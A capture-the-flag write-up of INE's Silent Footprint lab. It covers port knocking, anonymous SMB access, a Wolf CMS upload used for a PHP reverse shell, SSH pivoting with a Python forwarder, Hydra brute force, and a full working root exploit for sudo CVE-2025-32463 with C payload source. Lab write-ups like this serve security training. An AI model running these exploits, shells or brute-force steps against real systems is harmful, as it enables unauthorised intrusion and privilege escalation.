Silent Footprint CTF by INE
参与INE Silent Footprint网络渗透测试挑战,在两个星期内通过端口扫描、SMB共享、Web漏洞利用及SSH转发等技术成功获取四个旗帜。利用CVE-2025-32463漏洞实现权限提升并最终获得root权限。 2025-11-3 09:9:26 Author: infosecwriteups.com(查看原文) 阅读量:88 收藏

The.Flying.Wolf

INE’s Network Pentesting CTF · Medium · 14 days Challenge

I participated in INE Silent Footprint , a two‑week network pentest lab with three target hosts (ctf.playground.ine, ctf2.playground.ine, ctf3.playground.ine). This write‑up documents my methodology, step‑by‑step exploitation that help me to retrive the 4 flags, and the lessons and mitigations I took away.

Press enter or click to view image in full size

Event details

  • Name: Silent Footprint
  • Category: Network Pentesting
  • Duration: Oct 6, 2025 to Oct 20, 2025
  • Participation: Individual
  • Scope / Targets: ctf.playground.ine, ctf2.playground.ine, ctf3.playground.ine
  • Score: Multi-stage compromise [enumeration → discover endpoints → gain shell → pivot → discover credentials, privilege escalation]

Tools I used

  • nmap, nc, smbclient, gobuster, hydra, ssh, python3 (for pivot script), a web browser for Wolf CMS admin dasboard.
  • Reverse shell: pentestmonkey PHP reverse shell

Approach & methodology

I followed a structured pentesting process just like a network pentester, starting with reconnaissance and ending with a detailed findings steps.

  1. Recon → /etc/hosts inspection, host discovery and discover endpoints.
  2. Ports and service enumeration → nmap, nc, gobuster, smbclient.
  3. Credential harvesting from exposed files and shares.
  4. Service‑specific exploitation (web app RCE, SMB read, SSH pivoting and password brute-force on SSH).
  5. Lateral movement and privilege escalation.
  6. Capture flags and document everything.

This post focuses on the steps that led to the four flags.

Lab entry: Initial discovery

I ran ifconfig to verify the network configuration and IP address. The host had two network interfaces:

  • eth0 with the IP address 10.1.0.2
  • eth1 with the IP address 192.x.x.2

Then, I began checking the host machine and first verified the local name resolution. In the /etc/hosts file, I found host mappings that pointed to the two CTF targets mentioned in the scope. However, I did not find any entry for ctf3.playground.ine

┌──(root㉿INE)-[~]
└─# cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.0.2 INE
127.0.0.1 AttackDefense-Kali
192.x.x.2 INE
192.x.x.2 INE
192.x.x.3 ctf2.playground.ine
192.x.x.4 ctf.playground.ine

Finally, I performed basic connectivity checks (ping) against the targets:

  • ctf.playground.ine → reachable from the host.
  • ctf2.playground.ine → reachable from the host.
  • ctf3.playground.ineunreachable from the host.

Since all targets were supposed to be reachable, it was surprising that one wasn’t. I decided to add the IP address of ctf3 to the /etc/hosts file. To identify the correct IP, I ran a host discovery scan using Nmap on the 192.0.0.0/24 subnet. The scan revealed 4 IP addresses, 2 already mapped with ctf & ctf2, one belonging to the host machine, and another interesting one: 192.x.x.1 I added this IP to the /etc/hosts file, but ctf3 still remained unreachable.

Key command:

nmap -sV 192.0.0.0/24

Flags : step‑by‑step walkthrough

Note: below are the commands and the reasoning I used. Replace 192.x.x.* with the real lab IPs when reproducing.

Flag 1 : SMB public share

Press enter or click to view image in full size

While enumerating ctf.playground.ine I initially found only three TCP ports open and no web page or other obvious entry points also no UDP ports found.

Initial service scan
Command:

nmap -sV ctf.playground.ine

Output:

Nmap scan report for ctf.playground.ine (192.x.x.4)
Host is up (0.000031s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
1234/tcp open hotline?
5678/tcp open rrac?
9101/tcp open jetdirect?
MAC Address: 02:42:C0:F5:71:04 (Unknown)

Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 6.48 seconds

Remembering that CTFs often use port knocking to reveal additional services, I attempted a knock sequence.

Overview — Port knocking

What it is : Port knocking is a stealthy method to hide a service behind a closed port by requiring a specific sequence of connection attempts (the “knock”) to predetermined ports. When the correct sequence is observed, a daemon or firewall rule temporarily opens a port (e.g., SSH) for the knocking host.

Why people use it:

  • Adds an extra authentication factor before a service is even visible.
  • Reduces attack surface by keeping services invisible to casual scanners.
  • Useful in CTFs and small deployments where convenience beats complexity.

How it works:

  1. Client sends connection attempts to a sequence of ports (TCP/UDP) in the correct order (or using encoded payloads).
  2. A listener (knockd, fwknop, or a firewall script) monitors packet logs or raw sockets.
  3. If the sequence matches, the listener modifies firewall rules (e.g., iptables) to allow the client’s IP to access the protected service for a limited time.

Simple example (user-side):

knock -v target.example.com 7000 8000 9000 tcp

Example (knockd) config snippet:

[options]
UseSyslog

[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
start_command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
cmd_timeout = 30
stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT

Common tools:

  • knock (client)
  • knockd (daemon)
  • fwknop (port knocking with single-packet authorization — more secure)
  • firewall tools: iptables/nftables for rule changes

Port knock attempt
Command:

knock -v 192.x.x.4 1234 5678 9101 tcp

Output:

hitting tcp 192.x.x.4:1234
hitting tcp 192.x.x.4:5678
hitting tcp 192.x.x.4:9101
Failed to resolve hostname '192.x.x.4' on port tcp
getaddrinfo: Servname not supported for ai_socktype

Note: If you want a detailed write-up on port knocking, including a lab setup and both offensive and defensive perspectives, let me know in the comments. If i get more comments i will prepare a full walkthrough.

  • After the knock, I rescanned the target.

Follow-up scan
Command:

nmap -sV ctf.playground.ine

Output:

Nmap scan report for ctf.playground.ine (192.x.x.4)
Host is up (0.000027s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 4.6.2
1234/tcp open hotline?
5678/tcp open rrac?
9101/tcp open jetdirect?
MAC Address: 02:42:C0:F5:71:04 (Unknown)

Service detection performed. Please report any incorrect results at https:
Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds

How I discovered it
The Samba service on port 445/tcp appeared after the port knock, the second Nmap scan showed netbios-ssn (Samba smbd 4.6.2) open on ctf.playground.ine

SMB enumeration

  1. Enumerating the SMB service

Command:

smbclient -L ctf.playground.ine

Output:

Password for [WORKGROUP\root]:

Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (Samba 4.19.5-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to ctf.playground.ine failed (Error NT_STATUS_CONNECTION_REFUSED)
Unable to connect with SMB1 -- no workgroup available

Note: The scan showed a public share available. The SMB client attempted an SMB1 fallback for the workgroup listing but failed the share itself is still accessible anonymously.

2. Access the public share (no password required)

Command:

smbclient //ctf.playground.ine/public

Interactive Session Output:

Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Sep 30 15:54:26 2025
.. D 0 Tue Sep 30 15:54:26 2025
readme.txt N 28 Tue Sep 30 15:54:26 2025
flag.txt N 33 Tue Sep 30 15:54:26 2025
endpoint.txt N 35 Tue Sep 30 15:54:26 2025

1981311780 blocks of size 1024. 67619856 blocks available
smb: \> mget *
Get file readme.txt? y
getting file \readme.txt of size 28 as readme.txt (13.7 KiloBytes/sec) (average 13.7 KiloBytes/sec)
Get file flag.txt? y
getting file \flag.txt of size 33 as flag.txt (32.2 KiloBytes/sec) (average 19.9 KiloBytes/sec)
Get file endpoint.txt? y
getting file \endpoint.txt of size 35 as endpoint.txt (17.1 KiloBytes/sec) (average 18.8 KiloBytes/sec)
smb: \> exit

3. Seen endpoint.txt on the SMB share, which contained an application endpoint and credentials: robert:password1 which became crucial for later web access.

robert/password1 for /?/ endpoint.

The public share allowed anonymous access and included flag.txt.

Flag 1: 3988bc2138f8c43f62d42bf620fbf5ff

Flag 2 : Web flag → Wolf CMS RCE

Press enter or click to view image in full size

Hint: Examine the application folder on ctf2.playground.ine to find the flag hidden within the project layout or configuration files.

Note: Credentials found on ctf.playground.ine from the SMB endpoint.txt:

robert/password1 for /?/ endpoint.

Nmap → target ctf2.playground.ine

Command:

nmap -sV ctf2.playground.ine

Output :

Nmap scan report for ctf2.playground.ine (192.x.x.3)
Host is up (0.000027s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.47-0ubuntu0.14.04.1
MAC Address: 02:42:C0:F5:71:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.46 seconds

Found port 80 & port 3306

  1. Port 3306 → MySQL
  2. Unable to connect with MySQL

Web enumeration → http://ctf2.playground.ine/

  • Found Wolf CMS detected on the site.

Press enter or click to view image in full size

  • Directory brute-force with Gobuster:
gobuster dir -u http://ctf2.playground.ine/ -w /usr/share/wordlists/dirb/common.txt

Notable findings :

===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 200) [Size: 23]
/flag (Status: 200) [Size: 33] -> contains the flag
/public (Status: 301) [Size: 326] [--> http://ctf2.playground.ine/public/]
/docs (Status: 301) [Size: 324] [--> http://ctf2.playground.ine/docs/]
  • http://ctf2.playground.ine/flag returned the flag:

Press enter or click to view image in full size

Flag 2: 17189f8af3efbca5511198c84bbf1e6d

Check the endpoint /?/ (from endpoint.txt)

Because the SMB endpoint.txt referenced /?/, enumerated that path:

gobuster dir -u http://ctf2.playground.ine/?/ -w /usr/share/wordlists/dirb/common.txt

Output

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://ctf2.playground.ine/?/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/0 (Status: 200) [Size: 3881]
/about-us (Status: 200) [Size: 3437]
/admin (Status: 302) [Size: 0] [--> http://ctf2.playground.ine/?/admin/login]
/Articles (Status: 200) [Size: 3623]
/articles (Status: 200) [Size: 3623]
/HTML (Status: 200) [Size: 4167]
/html (Status: 200) [Size: 4167]
/jhtml (Status: 200) [Size: 4167]
/phtml (Status: 200) [Size: 4167]
/rhtml (Status: 200) [Size: 4167]
/shtml (Status: 200) [Size: 4167]
/xhtml (Status: 200) [Size: 4167]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Findings:

/admin  -> redirects to /?/admin/login   (Wolf CMS admin login)

Press enter or click to view image in full size

Login to Wolf CMS with SMB credentials

Use the credentials obtained from the SMB share:

Username: robert
Password: password1

Press enter or click to view image in full size

Login successful with robert has sufficient privileges (developer) to access the Files area.

Exploitation (Wolf CMS file upload / create)

  • Wolf CMS 0.8.1 is known to allow an authenticated developer/admin to create/upload arbitrary files (CVE-2015–6567) to get a Reverse Shell.

Steps taken:

Press enter or click to view image in full size

  1. Navigate to Files → Create new file in the CMS.
  2. Create shell.php
  3. Copy the pentest monkey revershell and paste it in shell file.

Press enter or click to view image in full size

4. Check Attacker IP

ifconfig eth1

5. Change the IP in the php

6. Then click on Save

Note: If required change the port number.

7. Now, Set the reverse shell listener on the attacker machine:

nc -lvnp 1234

Press enter or click to view image in full size

8. Access the uploaded file via http://ctf2.playground.ine/public/shell.php (or the corresponding URL) to trigger the shell.

5. Upgrade the shell:

python3 -c 'import pty;pty.spawn("/bin/bash")'
  • export TERM=xterm
  • Ctrl + z
  • stty raw -echo; fg
  • stty rows 38 columns 116

Result: interactive shell on ctf2.playground.ine obtained.

Note: At first I couldn’t solve the CTF3 challenge: after capturing the first two flags there were no obvious attack vectors, and the hidden service only exposed SSH. I tried brute-forcing the service and multiple privilege-escalation techniques on the shell I obtained, but nothing worked. I also discovered the target was running inside Docker and I couldn’t find any escape path. I spent about eight hours on it and eventually gave up.

A few days later INE changed the challenge for flag 3, but I didn’t notice it. I got busy with my personal work and only revisited the platform on the 13th, when I finally saw the updated question, I solved it within ~40 minutes😂 ended up with 20th rank

Press enter or click to view image in full size

Flag 3 : SSH pivot from ctf2 to ctf3 via port‑forward

Press enter or click to view image in full size

Summary

After discovering only SSH on the hidden service, I used nc to scan ports from ctf2, created an SSH port-forward on ctf2 to reach ctf3, and brute-forced the nicole account with Hydra using rockyou-40.txt. The found credentials allowed an SSH login and cat flag.txt revealed the flag.

Recon → Port scan using nc (no nmap available)

Press enter or click to view image in full size

  • First verified ctf3 is reachable or not from ctf2 I ran:
ping -c 2 ctf3.playground.ine

The host responded and I noted the resolved IP address (details : PING ctf3.playground.ine (192.x.x.3)), confirming ctf2 can reach ctf3.

Full TCP port scan using nc (Netcat):

nc -z -v -w1 192.x.x.3 1-65535 2>&1 | grep -E "succeeded|open"

Example output:

www-data@ctf2:/$ nc -z -v -w1 192.x.x.3 1-65535 2>&1 | grep -E "succeeded|open"
Connection to 192.x.x.3 22 port [tcp/ssh] succeeded!
www-data@ctf2:/$

Note: nmap was not available in this environment, so nc was used for port discovery.

Port forwarding through ctf2

Because ctf3 only exposed SSH and was not directly reachable from the host for password brute-force, I set up a simple TCP forwarder on ctf2 to forward local port 2222 to ctf3:22

Press enter or click to view image in full size

The forwarder script on ctf2 (replace ctf3-IP with the actual IP):

# on ctf2
cat > /tmp/forward_ssh.py <<'PY'
#!/usr/bin/env python3
import socket, threading, sys
LISTEN_HOST = '0.0.0.0'
LISTEN_PORT = 2222
REMOTE_HOST = 'ctf3-IP' #change here
REMOTE_PORT = 22

def handle(client_sock):
try:
remote = socket.socket()
remote.connect((REMOTE_HOST, REMOTE_PORT))
except Exception:
client_sock.close()
return

def forward(src, dst):
try:
while True:
data = src.recv(4096)
if not data:
break
dst.sendall(data)
except Exception:
pass
finally:
try: src.shutdown(socket.SHUT_RD)
except Exception: pass

t1 = threading.Thread(target=forward, args=(client_sock, remote), daemon=True)
t2 = threading.Thread(target=forward, args=(remote, client_sock), daemon=True)
t1.start(); t2.start()
t1.join(); t2.join()
client_sock.close(); remote.close()

def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((LISTEN_HOST, LISTEN_PORT))
s.listen(5)
while True:
c, a = s.accept()
threading.Thread(target=handle, args=(c,), daemon=True).start()

if __name__ == '__main__':
main()
PY

nohup python3 /tmp/forward_ssh.py >/dev/null 2>&1 &

This makes ctf2:2222 forward to ctf3:22 and now from host ctf3 was reachable via ctf2 IP

Brute-force SSH (Hydra)

From the host machine, target the forwarded port on ctf2 and brute-force the nicole account using the rockyou-40.txt

hydra -l nicole -P /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou-40.txt ctf2.playground.ine ssh -s 2222

Hydra found credentials:

Press enter or click to view image in full size

Nicole : hahaha

SSH into forwarded port and capture flag

Press enter or click to view image in full size

SSH to the forwarded port (2222) on ctf2, which proxies to ctf3:

ssh [email protected] -p 2222

Once logged in:

cat flag.txt

Flag 3: adc23dd70102ea29dc2c38d9b122ce2e

Notes: Pivoting from a low‑priv web user to another internal host is a classic lateral movement move. Always assume internal hosts may be reachable and prepare for pivots.

Flag 4 → Privilege escalation via CVE-2025-32463

Press enter or click to view image in full size

In any privilege escalation scenario, the first step is enumeration. To understand what permissions we have and what software versions are running on the system to find a weak point.

Step 1: Checking Sudo Version

The primary target is sudo, as it's the most common vector for escalating from a user to root

sudo -V

Output

Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2

The key piece of information here is Sudo version 1.9.16p2 After a quick search for this specific version, it lead to CVE-2025–32463 and found a wonderful write-up by ValueSec on linkedin link

This discovery is critical: our entire attack plan will now revolve around this specific CVE.

Step 2: Checking the Name Service Switch (NSS)

The exploit for this CVE involves tricking etc/nsswitch.conf controls how Linux looks up users, groups, hosts, etc. It tells the system where to search like files, systemd, or dns, If an attacker changes it (in chroot), sudo may load fake libs, and That opens a path to root by default if sudo -R is used.

We check its configuration:

cat /etc/nsswitch.conf

output

# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd: files systemd winbind
group: files systemd winbind
shadow: files systemd
gshadow: files systemd

hosts: files mdns4_minimal [NOTFOUND=return] dns
networks: files

protocols: db files
services: db files
ethers: db files
rpc: db files

netgroup: nis

This was a classic privilege escalation challenge. To run a specific command within a chroot environment using the -R (or --chroot) flag. Our goal is to break out of this limited permission and gain a full root shell on the host system.

The entire attack hinges on poisoning the Name Service Switch (NSS) configuration within the custom chroot environment we build.

Step 3: The Payload (payload.c)

The first step is to create our malicious payload.

cat > payload.c << EOF
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor))

void root_access(void) {
setuid(0);
setgid(0);
chdir("/");
execl("/bin/bash", "bash", "-p", NULL);
}
EOF

What’s happening:

  • cat > payload.c: The command creates a new C file named payload.c with the code that follows.
  • __attribute__((constructor)): Key GCC feature. It tells the C library to run root_access function automatically as soon as this code is loaded into memory (as a shared library), even before the main program executes.
  • root_access(void): This is our malicious function.
  • setuid(0) and setgid(0): These functions set the process's user ID and group ID to 0. Since sudo runs the process as root, this effectively retains those root privileges.
  • chdir("/"): Changes the directory to the real root (/) of the host system, effectively breaking out of the chroot jail.
  • execl("/bin/bash", "bash", "-p", NULL): This is the final step. It replaces the current process with a new /bin/bash shell. The -p flag is critical: it tells bash to preserve its effective user ID (which is root), rather than dropping privileges.

The result is a new root shell, owned by root, running in the host's / directory.

Step 4: Building the Malicious Chroot Jail

This is the core of the exploit. We create a fake “jail” directory (woot) that will trick sudo.

These commands simply create the directory structure for our attack.

# The main chroot directory
mkdir woot
# The /etc directory inside the jail
mkdir -p woot/etc
# A directory to hold our malicious library (staging)
mkdir libnss_
# Create the malicious nsswitch.conf
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
# Copy the group file
cp /etc/group woot/etc/

What’s happening:

  • echo "passwd: /woot1337" > woot/etc/nsswitch.conf: This is the most important command. We create a new nsswitch.conf file inside our fake jail. This file controls how the system looks up information.
  • Normally, this file would say something like passwd: files sss (check files, then system services).
  • We are replacing that. We’re telling any program running in this jail: “When you need to look up any password or user information, you must load the library located at the absolute path /woot1337."
  • cp /etc/group woot/etc/: This copies the system's real group file into the jail. This is necessary to prevent sudo from erroring out when it looks for group information, which it does before it gets to the passwd database.

Step 5: Compiling the Payload as a Shared Library

Next, compile this C code, not as a normal program, but as a shared library (.so file) that other programs can load.

gcc -shared -fPIC -o libnss_/woot1337.so.2 payload.c

What’s happening:

  • gcc ...: The C compiler.
  • -shared: Tells gcc to create a shared library.
  • -fPIC: (Position Independent Code) This is required for shared libraries.
  • -o libnss_/woot1337.so.2: This sets the output file name. The name woot1337.so.2 is arbitrary, but the .so.2 suffix is common for libraries. It's saved in the libnss_ directory we created.

Step 6: The Trigger

Finally, executed the sudo command we were given permission for.

sudo -R ./woot woot

What’s happening:

  • We execute sudo, which starts with root privileges.
  • The -R ./woot flag tells sudo to chroot into our ./woot directory. This means that for the sudo process, our woot directory becomes the new root filesystem (/).
  • Inside this jail, sudo (still as root) tries to run the woot command.
  • To do its job, sudo needs to perform user lookups (like resolving the user root).
  • It first reads the configuration file at /etc/nsswitch.conf (which is actually our file: woot/etc/nsswitch.conf).
  • Our config file instructs it to load the “password database” from /woot1337 (which is our malicious woot/woot1337 library).
  • The system’s C library obediently loads our woot1337 shared library into memory.
  • Because we compiled it with __attribute__((constructor)), our root_access function executes immediately upon being loaded.
  • Our root_access function runs, sets setuid(0), setgid(0), breaks out of the chroot (chdir("/")), and spawns a persistent root shell (execl("/bin/bash", "bash", "-p", NULL)).

Press enter or click to view image in full size

  • Got root shell on the host system, and Flag 4 is captured.
cat /root/flag.txt

Flag 4 (root): c124d2fd5c00281e0886efff5e6ce209

Reproducibility & artifacts

I kept command history and saved the flags and screenshots while working. When publishing, include sanitized screenshots (IP anonymized or edited).

Press enter or click to view image in full size


文章来源: https://infosecwriteups.com/silent-footprint-ctf-by-ine-663f4b7ee3d6?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh